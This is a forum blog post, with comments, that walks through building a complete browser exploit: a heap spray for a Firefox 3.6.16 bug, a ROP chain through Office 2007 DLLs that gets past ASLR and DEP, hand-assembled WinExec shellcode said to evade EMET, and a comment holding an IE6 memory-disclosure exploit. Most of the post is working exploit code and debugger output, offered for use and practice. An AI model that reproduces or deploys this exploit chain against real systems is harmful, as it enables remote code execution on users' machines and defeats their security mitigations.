View RSS Feed

"vinnu"

ASLR DEP bypassing techniques

Rating: 9 votes, 4.56 average.
In defeating DEP you atleast need some information that will evade the ASLR.
There are mainly two ways:

1. Any anti ASLR modules gets loaded into the target application. I mean you have the base address of any module at fixed location always even after the system restart.

2. You get a pointer leak from a memory leak/buffer overflow/any zeroday. In this technique you can adjust the offsets to grab the base address of the module whose pointer gets leaked.

Now, you have evaded the ASLR. Now comes the DEP:

DEP Data Execution Prevention mitigates the most of the attacks by denying the code execution from non executable memory, earlier until xp sp2, the stack and heap were executable, but now they no more possess execute attribute.

But there are methods, you have a pointer, so you can either make your shellcode from ROP, rop is a little advanced return to libc attack and is return oriented programming.

The main idea is to execute the necessary instructions nearby the "return" instruction, but for return instruction, you need to control the stack, the top of the stack must have the address of next instruction where you want to land and all these instructions are chosen or discovered from already loaded executable modules and from there executable code pages.

I have discovered most of the rop chains online, but nearly all are the products of certain automatyed scripts, I mean if you want to learn then start doing it manually, otherwise you'll miss the whole technique.
The most intelligent ROP chains are discovered manually, and are very specific and provide more control in very small execution overhead.

One more thing to remember, most of the rop chains produced by automated scripts, are not suitable for certain type of vulnerabilities, then you might know how to develop one of yours own.

Using the ROP you can either develop whole of your shellcode or just for the purpose of defeating DEP and then landing on the executable marked shellcode.

Remember, the OS has very good randomization of module bases, stack and heap and pointers, but not the pointers to the pointers, in certain places, you can easily find, fixed addresses/pointer to another pointer inside any other module or to any export of any dll.

Such informations help a lot.

the memory leaks also help, e.g.

function alfa(){
var a1=document.cookie;
}
var a=window.setTimeout(alfa,100);
alert(a.toString(16));

The above leak is little old now, and provides us witha memory address inside mshtml.dll at the address rendered by a.toString(16)-1

.This was a good pointer to pointer, similarly, 0x7ffe360 in this line you can find the base address of ntdll.dll in win7 64 bit
whereas in all windows 32 bit versions, 7ffe300 has the addressof sysenter and 0x7ffe304 the ret instruction.

But all these are pointer to pointers i.e. **
whereas to form a shellcode dynamically, we need a direct pointer.
I think you better know now the pwn2own memory leak by a buffer overflow.

The custom shellcodes manufactured dynamically from memory leaks of pointers, can be simple and provide us with more control, than the other traditional shellcodes developed by msf etc.

The main advantage of custom shellcodes made by pointer leaks are that, you can easily evade the mitigations like, emet (enhanced mitigation toolikit) and other av engines.

Recomendation : Download and install the ~= 4.5 Mb emet from microsoft to secure yourself. It will fail the executaion of most of your traditional shellcodes.

In next posts, we'll discus about certain vulnerabilities and then evade develop the exploit and try to develop the shellcode and rop chains in this thread. Hope you 'll enjoy and will actively take part.
...to be continued

--------------------------------------------
In the world of ASLR and DEP remember there is no place for NOP and NOPsled. Only precision matters.

The sprayer must be developed in such a way that it will place your chunks (rop + shellcode) at fixed locations.

The slip of even a single byte is non preferable as it will make our rop to land at wrong addresses. The precision can be achieved by heap manipulation techniques. I'll recommend to study the "Heap Fengshui" by A. Satirov.

By proper allocation of calculated sized heap chunks, we can more precisely place our chunks at same addresses every time.

Let us proceed with the example and in coding. The example vulnerability (mchannel) is affecting Firefox 3.6.16 and its working exploits are already available. But we'll develop the ROP and shellcode manually and hand crafted no need of mona or anything automated as automation misses certain points and makes the things complex and the solutions are not so intelligent and simple.

Code:
<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>
function ignite()	{
	var e=document.getElementById("d");
	e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
        e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>

In this vulnerability, we can control the ECX register as the place from where EAX register will grab the value can be controlled by a single object instantiation in heap.

var obj = unescape("\x00ఐ"); // will make ECX register to point to at 0x0C100000
// This is the address that will easily get sprayed and where the first byte of our chunk will be loaded.


Note: Remember to rename the CrashReporter.exe from mozilla folder inside ur program files. And attach the debugger to the firefox before exploiting the vulnerability.

Code:
6BE14E69   8B08             MOV ECX,DWORD PTR DS:[EAX] ; This is where our above allocation will load 0x0C100000 into
; ECX register
6BE14E6B   BE 02004B80      MOV ESI,804B0002
6BE14E70   56               PUSH ESI
6BE14E71   50               PUSH EAX
6BE14E72   FF51 18          CALL DWORD PTR DS:[ECX+18] ; This is where call will be transferred at address placed at
; 0x0C100018, So we need to frame our rop+shellcode module accordingly.
Next comes the sprayer and ROP +shellcode. First of all we'll use dummy chunk in place of ROP+shellcode and slowly develop the ROP and shellcode over the dummy chunk. so let us proceed. For countering ASLR i'll use the GrooveUtil.dll & GR469A~1.DLL which comes along with MS office 2007 in GrooveMonitor. These DLLs gets loaded into browsers by default. If default installation of MS OFFICE 2007 is done.

Code:
<html>
<head>
</head>

<body>
<object id="d" ></object>
<script>

function ignite()	{
	var e=document.getElementById("d");
	e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
	
	var vftable = unescape("\x00% u0c10");
	// ROP using GrooveUtil.dll :
	var heap = unescape(
/* ROP : */			"% u0101% u0102"
					+"% u0103% u0104"
					+"% u0105% u0106"
					+"% u0107% u0108"
					+"% u0109% u010a"
					+"% u010b% u010c"
					+"% u010d% u010e"
					+"% u010f% u0111"
					+"% u0112% u0113"
					+"% u0114% u0115"
					+"% u0116% u0117"
					+"% u0118% u0119"
					+"% u011a% u011b"
					+"% u011c% u011d"
					+"% u011e% u011f"
					)
/* Shellcode : */	+unescape("% u9090% u9090"+"% u9090% u9090"
					+"% uCCCC% uCCCC% uCCCC% uCCCC"
					+"% uBBBB% uCCCC% uDDDD% uEEEE"
/* command: */		+"% u6163% u636c% u652e% u6578% u0000% ucccc"	// calc.exe
					);

		var vtable = unescape("% u0c0c% u0c0c");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
        while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
		var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
        var spray = new Array()
        for (var iter=0;iter<0x100;iter++){
           spray[iter] = finalspray+heap;
        }
	e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
Note : In code I've to place a blank space between "%" and "u" as unicode support is converting the blocks into respective characters, remember to remove these spaces from all blocks inside unescape blocks.

One more thing, We are going to develop this exploit for win7 -win32 (you may check offsets for winxp, even offsets in win32 & wow64 win7 also differs check them and fix them).

Also install the EMET from microsoft website, It mitigates most of the shellcodes. But our shellcode will also bypass it and will be compact.

Here is the result of above code:
Code:
EAX 0400B620
ECX 0C100000
EDX 0313D970
EBX 043D0E04
ESP 0018DFCC
EBP 0018E1D8
ESI 804B0002
EDI 80000000
EIP 010E010D
The EIP register has been controlled by loading in a value from our chunk 0x010E010D. This value comes from "č%u 010E".
So we'll have to place the pointer of our first ROP gadget at "%u 010D%u 010E" place.

The first task is to develop the ROP now and in ROP the first and most important and challenging task is the stack pivoting.
In stack pivot, the ESP register is loaded with the address to our own allocated heap chunk so that the browser will consider the allocated heap chunk as stack and this new manipulated stack contains all the return addresses and arguments to the called functions.

What we have to do actually is we need to either move or swap the register containing address to our allocated heap block into ESP register. Or pop an address of our heap block from stack into ESP register, there can be several instructions.

In this case the EAX register contains the pointer to pointer (pointer to address) of our allocated heap block and ecx contain the direct address to our allocated heap chunk.
So we need to discover the gadgets which encorporates either eax or ecx registers in case of stack pivoting.

There are certain instructions like:


XCHG ECX,ESP
ret

or

mov esp,ecx
ret

or

XCHG dword ptr[EAX],ESP
ret

or

mov ESP,dword ptr[EAX]
ret

or like these can be of help.

But alas we cannot find anything useful, but following gadget was discovered:


6623BE51 : XCHG EAX,ESP
ret


into GR469A~1.DLL but we need to replace the "pointer to pointer" with direct pointer in EAX register before executing this gadget.
So we need to discover something like

mov EAX,dword ptr[eax]
call eax
ret

But, this following gadget was discovered and was pretty helpful:


661C5B33 : MOV EAX,DWORD PTR DS:[ECX]
CALL DWORD PTR DS:[EAX+8]


This gadget needs the address to be loaded into eax register at place where ECX register is pointing.
The ECX register points to first bytes of our heap block and then the next call will be made to the address at ECX + 8.

Code:
0C100000  01 01 02 01 03 01 04 01  
0C100008  05 01 06 01 07 01 08 01  
0C100010  09 01 0A 01 0B 01 0C 01  ...
0C100018  0D 01 0E 01 0F 01 11 01  .
0C100020  12 01 13 01 14 01 15 01  
0C100028  16 01 17 01 18 01 19 01  
0C100030  1A 01 1B 01 1C 01 1D 01  
0C100038  1E 01 1F 01 90 90 90 90  
0C100040  90 90 90 90 CC CC CC CC  
0C100048  CC CC CC CC BB BB CC CC  ̻
0C100050  DD DD EE EE 63 61 6C 63  calc
0C100058  2E 65 78 65 00 00 CC CC  .exe..
0C100060  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100068  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100070  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100078  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100080  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100088  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100090  0C 0C 0C 0C 0C 0C 0C 0C  ........
0C100098  0C 0C 0C 0C 0C 0C 0C     .......
--- -- --
--- -- --
--- -- --
So we need to place the first gadget address at 0C100018: 0D 01 0E 1E and change the 0C100000: 01 01 02 01 with address to (address of offset to the address of next gadget[ XCHG EAX,ESP;ret ])-8 that is at "%u 0107%u 0108" if at 0x0C100000 has 0x0C100004

Following code section:
Code:
var heap = unescape(
/* ROP : */			"% u0004%u 0c10"
					+"% u0103%u 0104"
					+"%u 0105% u0106"
					+"%u BE51%u 6623"	// XCHG EAX,ESP;ret
					+"%u 0109%u 010a"
					+"% u010b%u 010c"
					+"%u 5B33% u661C"	// :GR469A~1.DLL
									//	8B01             MOV EAX,DWORD PTR DS:[ECX]
									//	FF50 08          CALL DWORD PTR DS:[EAX+8]
					+"% u010f% u0111"
					+"%u 0112% u0113"
					+"%u 0114%u 0115"
					+"%u 0116%u 0117"
					+"%u 0118% u0119"
					+"% u011a%u 011b"
					+"%u 011c%u 011d"
					+"%u 011e%u 011f"
					)
It will result in loading our inted value into ESP register as following registers dump shows:
Code:
EAX 0029DF08
ECX 0C100000
EDX 03D19160
EBX 048C0124
ESP 0C100008
EBP 0029E118
ESI 804B0002
EDI 80000000
EIP 01040103
And this will result into our heap block transformed into stack as shown below:

Code:
0C100000   0C100004
0C100004   01040103
0C100008   01060105
0C10000C   6623BE51  GR469A~1.6623BE51
0C100010   010A0109
0C100014   010C010B  firefox.010C010B
0C100018   661C5B33  GR469A~1.661C5B33
0C10001C   0111010F  firefox.0111010F
0C100020   01130112  firefox.01130112
0C100024   01150114  firefox.01150114
0C100028   01170116  firefox.01170116
0C10002C   01190118
0C100030   011B011A
0C100034   011D011C
0C100038   011F011E
0C10003C   90909090
0C100040   90909090
0C100044   CCCCCCCC
0C100048   CCCCCCCC
0C10004C   CCCCBBBB
0C100050   EEEEDDDD
0C100054   636C6163
0C100058   6578652E
0C10005C   CCCC0000
0C100060   0C0C0C0C
0C100064   0C0C0C0C
0C100068   0C0C0C0C
0C10006C   0C0C0C0C
0C100070   0C0C0C0C
0C100074   0C0C0C0C
0C100078   0C0C0C0C
0C10007C   0C0C0C0C
0C100080   0C0C0C0C
0C100084   0C0C0C0C
0C100088   0C0C0C0C
0C10008C   0C0C0C0C
0C100090   0C0C0C0C
0C100094   0C0C0C0C
0C100098   0C0C0C0C
0C10009C   0C0C0C0C
0C1000A0   0C0C0C0C
0C1000A4   0C0C0C0C
------
------
------
First phase of our mission is now complete with successful stack pivot, so the next return instruction will land on the address in our stack (our heap block).

Now next phase is to get a pointer to the kernel32.VirtualProtect function and put its arguments on our stack to bypass the DEP.

The address to VirtualProtect will follow its arguments, it takes 4 argumenst, the first argument is the address to the first byte of the shellcode, the second argument is the size of the shellcode block; this can be any dword number but atleast the size of shellcode, 3rd argument is the FLAG the value must be 0x00000040 to set the attribute of memory page contaning shellcode as PAGE_READ_WRITE_EXECUTE. 4rth argument is the pointer to any writable location where old attribute value will be saved, this will be 0x0c0c0c0c in our case or whatever make sure it should be writable.

The GrooveUtil.dll contains a call to VirtualProtect at : 0x68F2F1DD as:
Code:
68F2F1DD   FF15 BC71F668    CALL DWORD PTR DS:[<&KERNEL32.VirtualPro>; kernel32.VirtualProtect
68F2F1E3   8BC6             MOV EAX,ESI
68F2F1E5   5E               POP ESI
68F2F1E6   C9               LEAVE
68F2F1E7   C2 0400          RETN 4
We need to fix certain things on our stack prior to call to VirtualProtect.


POP ESI
LEAVE
RETN 4


The instruction that will cause trouble is LEAVE it fixes the stack by dissolving the stack frame. The stack frame is the block between ESP and EBP, and until now the EBP register points to an address that will make us lose our stack once again, so the EBP must contain an address just before the start of shellcode.

Now we have the following code:

Code:
<html>
<head>
</head>

<body>
<object id="d" ></object>
<script>

function ignite()	{
	var e=document.getElementById("d");
	e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
	
	var vftable = unescape("\x00� c10");
	// ROP using GrooveUtil.dll :
	var heap = unescape("%u 0004%u 0c10"
					+"%u BCBB%u 68F1"	//POP EDI; POP EBX; POP ESI; RETN
					+"%u 0105%u 0106"	//
					+"%u BE51%u 6623"	// XCHG EAX,ESP;ret
					+"%u 0030%u 0c10" //
					+"%u 7C2A%u 68F0"	// POP EDI; POP EBP; RETN


					+"%u 5B33%u 661C"	// :GR469A~1.DLL
									//	8B01             MOV EAX,DWORD PTR DS:[ECX]
									//	FF50 08          CALL DWORD PTR DS:[EAX+8]
					+"% u0030% u0c10"	// will be popped in ebp
					+"%u F1DD% u68F2"	// Pointer to Virtual Protect
					+"% u0030% u0c10"		// Base Address of Shellcode
					+"% u9000% u0000"		// Size of the Page, you can adjust it
					+"%u 0040% u0000"		// PAGE_EXECUTE_READ_WRITE
					+"% u0c0c%u 0c0c"		// Writable Location for preserving old attributes
					+"%u 0038%u 0c10"		// will be popped in esi
					)
/* Shellcode : */	+unescape("%u 9090%u 9090"+"% u9090% u9090"
					+"%u CCCC% uCCCC% uCCCC% uCCCC"
					+"%u BBBB%u CCCC%u DDDD%u EEEE"
/* command: */		+"% u6163% u636c% u652e% u6578% u0000% ucccc"	// calc.exe
					);

		var vtable = unescape("%u 0c0c% u0c0c");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
        while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
		var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
        var spray = new Array()
        for (var iter=0;iter<0x100;iter++){
           spray[iter] = finalspray+heap;
        }
	e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
And it will result into the successful DEP bypass and EIP now lands on our shellcode but the debuggerbreak is called as 0xcc instruction is countered.

Code:
EAX 0C100030
ECX 0C0FFFDC
EDX 770264F4 ntdll.KiFastSystemCallRet
EBX 6623BE51 GR469A~1.6623BE51
ESP 0C10003C
EBP 0C0C0C0C
ESI 0C100038
EDI 661C5B33 GR469A~1.661C5B33
EIP 0C100041
Now comes the next phase of our mission, the shellcode formation. We have two registers containing addresses within GR469A~1.dll


EBX 6623BE51 GR469A~1.6623BE51
EDI 661C5B33 GR469A~1.661C5B33


We need to find any call to any Kernel32.dll export function and then we'll make EAX register to point to the kernel32 export, now we can add or subtract the proper offset (These offsets are OS dependent you may need to calculate in ur own cases) to make make EAX point to kernel32.WinExec function, then we'll push the arguments, it takes two arguments, first pointer determines whether the window is shown for executed command or not and second argument is the pointer to the command line you want to execute.

Following instructions will work for us:
as EDI contains an address inside the dll we need to fix it by adding an offset to make it point to the location where address of export Kernel32.dll is located.

81C7 6D980700 ADD EDI,7986D

Following will be the javascript unicode representation for it:

"% uC781%u 986D%u 0007"

Remember interchange the bytes in pair, if the number of bytes is odd then the begining of last pair can be made to a nop 90.
Then we will take the address of Kernel32 address into EAX register from pointer to pointer [EDI]:

8B07 MOV EAX,DWORD PTR DS:[EDI]

this will yield "%u 078B" The EAX now contains the address of "Kernel32.WaitForSingleObject".

0004EFA0 WaitForSingleObject

The RVA of WinExec is as follows:

0008E695 WinExec

Now we need to calculate the offset:
0008E695 - 0004EFA0 = 3F6F5

So we need to add EAX + 3F6F5 to make EAX point to WinExec.

05 F5F60300 ADD EAX,3F6F5

In javascript it will be:

"%u F505% u03F6 %u 9000"

Then we'll push 5 as an argument to WinExec.

6A 05 PUSH 5

This becomes

"%u 056A"
5 means window will be shown.

Then we have ecx pointing to somewhere in our heap block.

ECX = 0x0C0FFFDC

We need to fix it also to make it to point to the command to be executed by adding 0x8E it will point to calc.exe.

81C1 8E000000 ADD ECX,8E

Its javascript block will be:

"%u C181% u008E% u0000"

and push ecx on stack

51 PUSH ECX

Its javascript will be
"%u 9051"

And now the jackpot :
FFD0 CALL EAX

"%u D0FF"

And with this, you'll hit the jackpot.
But wait, we also need to terminate the process gently, so copy the eax to some other register like ESI
then fix ESI to point to TerminateProcess and push its argument it needs the handle to process, the pseudo handle to current process is 0xFFFFFFFF or u need to push -1 and call ESI.

Then the command buffer will also be in same manner

calc.exe

"%u 6163% u636c% u652e%u 6578%u 0000"

Following is the complete exploit code, with handcrafted & compact shellcode, even EMET will also be mitigated itself:

Code:
<html>
<head>
</head>

<body>
<object id="d" ></object>
<script>

function ignite()	{
	var e=document.getElementById("d");
	e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
	
	var vftable = unescape("\x00% u0c10");
	// ROP using GrooveUtil.dll :
	var heap = unescape("% u0004% u0c10"
					+"% uBCBB% u68F1"	//POP EDI; POP EBX; POP ESI; RETN
					+"%u 0105% u0106"	//
					+"%u BE51%u 6623"	// XCHG EAX,ESP;ret
					+"%u 0030% u0c10"
					+"% u7C2A% u68F0"	// POP EDI; POP EBP; RETN


					+"% u5B33% u661C"	// :GR469A~1.DLL
									//	8B01             MOV EAX,DWORD PTR DS:[ECX]
									//	FF50 08          CALL DWORD PTR DS:[EAX+8]
					+"% u0030% u0c10"	// will be popped in ebp
					+"% uF1DD% u68F2"	// Pointer to Virtual Protect
					+"% u0030% u0c10"		// Base Address of Shellcode
					+"% u9000% u0000"		// Size of the Page, you can adjust it
					+"% u0040% u0000"		// PAGE_EXECUTE_READ_WRITE
					+"% u0c0c% u0c0c"		// Writable Location for preserving old attributes
					+"% u0038% u0c10"		// will be popped in esi
					)
					+unescape("% u9090% u9090"+"% u9090% u9090"
					+"% uC781% u986D%u 0007"	//81C7 6D980700    ADD EDI,7986D
					+"% u078B"	//8B07             MOV EAX,DWORD PTR DS:[EDI]
					+"% uF505%u 03F6% u9000"	//05 F5F60300      ADD EAX,3F6F5;90 NOP
					+"% u9090"
					+"% u056A"	//6A 05            PUSH 5
					+"% uC181% u008E% u0000"	//81C1 8E000000    ADD ECX,8E
					+"% u9051"	//51    PUSH ECX; 90 NOP
					+"% uF08B"	//8BF0             MOV ESI,EAX
					+"% uD0FF"	//FFD0             CALL EAX
//					+"% ucccc"
					+"%u EE81% u95Fa% u0004"//81EE FA950400    SUB ESI,495FA
					+"%u FF6A"	//6A FF            PUSH -1
					+"%u D6FF"	//FFD6             CALL ESI
					+"%u CCCC"
/* command: */		+"% u6163% u636c% u652e% u6578% u0000% ucccc"
					);

		var vtable = unescape("% u0c0c%u 0c0c");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
        while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
		var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
        var spray = new Array()
        for (var iter=0;iter<0x100;iter++){
            spray[iter] = finalspray+heap;
        }
	e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
Note: Remember to remove the spaces around % and u.

Thanx
..."vinnu"

Comments

  1. b0nd's Avatar
    ... and the knowledge is overflowing keep sharing bro! Thanks a lot!
  2. paulhall's Avatar
    This is a great technique, its really helpful . And the kind of its explanation you have shared is really appreciable.

    courier jobs
  3. "vinnu"'s Avatar
    Namaste

    Regarding ASLR following code leaks enough memory block to grab any loaded modules base address. Though the vulnerability is only affecting the IE 6 in win xp, but is a nice example for practice and for practice you can utilize this technique along with ROP to effectively bypass the ASLR+DEP in practice for expertise.

    Code:
    <html>
    <head>
    <title>IE 6 Memory disclosure exploit..."vinnu"</title>
    </head>
    <body>
    <div id="disc"></div>
    <script>
    var limit = 8000;// Above it will crash and may lead to Code Execution.
    var did = document.getElementById("disc");
    function discl()	{
    	var buf="";
    	var c="0000";
    	var d=0x0000;
    	/****************************************************/
    	var a=document.createElement("select");
    	var b=a.componentFromPoint(0xff,0xff);
    	/*** Vulnerable code. componentFromPoint() on an
    	unmaterialised object leads to leaking in memory. ***/
    	
    	did.innerHTML+="<br>Object.length : "+b.length;
    	buf="<table><tr>";
    	for(var i=0;i<limit;i++)	{
    		d = b.charCodeAt(i).toString(16);
    		buf+="<td>"+c.substring(0,4-d.toString().length)+d+"</td>";
    		if(i%16==0){buf+="</tr><tr>"}
    	}buf+="</tr></table>";
    	did.innerHTML += buf;
    }
    </script>
    <input type=button value="Disclose" onclick="discl()" />
    </body>
    </html>
  4. "vinnu"'s Avatar
    output looks like :

    Code:
    Object.length : 9879369350050 
    77c2 0000 0003 99a0 0113 c2e3 77c2 0008 0000 b688 0013 042c 001a b060 0003 0008 
    0013 4383 75c5 1334 001c 023f 0000 004b 0000 b688 0013 2038 025b 9f98 0003 0008 
    0000 b688 0013 f2fc 001b b570 0003 0050 7714 e270 0111 e270 0111 b770 0013 0050 
    0013 de08 0013 3700 0113 af78 0003 0050 0013 de08 0013 e270 0111 af78 0003 0050 
    7714 9950 0113 9950 0113 df94 0013 0050 77c2 0000 0003 3240 0113 c2e3 77c2 004a 
    0013 dca4 0013 e7c8 0003 b650 0003 0008 0013 4383 75c5 b34c 001b b5a0 0003 004a 
    0013 de08 0013 c418 0003 b640 0003 0003 0000 b688 0013 0013 0000 714e 75c5 004a 
    7714 2f30 00d5 af78 0003 b600 0003 004a 0000 0000 0000 c380 0003 b510 0003 004a 
    0000 0000 0000 c310 0003 b620 0003 0050 77c2 0018 0000 e270 0111 e3e8 0013 0050 
    77c2 c3e7 77c2 e270 0111 e3d8 0013 0050 0003 e428 0013 e270 0111 e408 0013 0022 
    00ca 013b 000c 0000 0000 0049 0003 3240 0113 b530 0003 b358 0013 0008 0000 0000 
    0000 6d0e 55c0 0014 0000 b6ec 0003 0000 0000 0063 0068 0061 0072 0043 006f 0064 
    0065 0041 0074 0000 0000 0049 0003 0000 0000 b4d0 0003 42eb 75c5 0008 0000 000a 
    0000 442a bf2e 0010 0000 b728 0003 0000 0000 0074 006f 0053 0074 0072 0069 006e 
    0067 0000 0003 0049 0003 0000 0000 b4c0 0003 42eb 75c5 0008 0000 75f4 0003 cfa1 
    8c80 0012 0000 0000 0000 0000 0000 0073 0075 0062 0073 0074 0072 0069 006e 0067 
    0000 7841 0000 0006 0000 75f4 0003 0000 0000 0064 0069 0064 0000 000a 0000 b794 
    0003 75f4 0003 006c 0069 006d 0069 0074 0000 0049 033d e434 0013 b5f0 0003 e3d8 
    0013 0010 0000 0010 0000 7841 0000 0007 0022 0119 000c 3260 75c6 30cc 75c6 334c 
    75c6 0002 0000 aca8 0003 0000 0000 31c0 0113 deac 0013 0000 0aa0 0000 0000 0000 
    0000 0001 0000 0004 0007 0112 000c 0009 0000 0000 0000 e270 0111 c6b0 0003 fd9b 
    ffff 0000 0000 0005 0004 000f 0000 01a0 0003 01a0 0003 0040 0000 0001 0000 0002 
    0007 0001 0000 0188 0003 94a8 0003 0004 0005 01e9 0008 7ff8 75c5 0001 0000 000c 
    0000 9438 0003 000c 0000 0001 0000 001a 0004 01e5 0008 c090 0003 0063 0072 0069 
    0070 0074 0020 002d 0020 0061 006e 006f 006e 0079 006d 006f 0075 0073 0020 0066 
    0075 006e 0063 0074 0069 006f 006e 0000 0000 0000 0000 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
    ----------------------
    ----------------------
    ----------------------
    Likewise disclosing several pointers inside loaded DLLs, which can be used to dynamically build the ROP chain + shellcode.

    ..."vinnu"

Trackbacks

Total Trackbacks 0
Trackback URL: